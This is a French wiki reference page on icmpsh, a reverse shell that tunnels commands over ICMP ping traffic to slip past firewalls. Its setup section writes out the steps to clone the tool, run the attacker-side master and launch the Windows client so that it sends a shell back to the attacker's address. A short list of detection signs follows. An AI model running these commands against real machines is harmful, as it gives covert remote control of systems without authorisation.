ICMPSH

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Type Reverse shell / backdoor sur ICMP
Transport Messages ICMP echo (ping)
Composants icmpsh_m.py (maître), icmpsh.exe (esclave)
Voir aussi Netcat · Cryptcat

icmpsh est un reverse shell qui encapsule ses échanges dans des messages ICMP (paquets echo request / echo reply, c'est-à-dire du trafic « ping »). Il permet de contourner des filtrages réseau qui n'inspectent que TCP/UDP, l'ICMP étant souvent laissé passer.

Le composant maître (icmpsh_m.py) s'exécute côté attaquant sous Linux ; l'esclave (icmpsh.exe) tourne sur la cible Windows et renvoie un shell à travers le canal ICMP.

Mise en œuvre

Récupération de l'outil :

git clone https://github.com/inquisb/icmpsh.git

Côté maître (attaquant), désactiver les réponses ICMP du noyau pour ne pas interférer avec le tunnel, puis lancer le maître (IP de l'attaquant puis IP de la cible) :

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.0.2.10 192.0.2.20

Côté cible Windows, lancer l'esclave en pointant vers l'IP du maître :

icmpsh.exe -t 192.0.2.10

Les adresses ci-dessus sont des exemples (plage de documentation RFC 5737).

Détection

  • volume anormal de paquets ICMP echo, tailles de charge utile inhabituelles ;
  • corrélation de flux ICMP soutenus vers une même destination.

Ressources

Voir aussi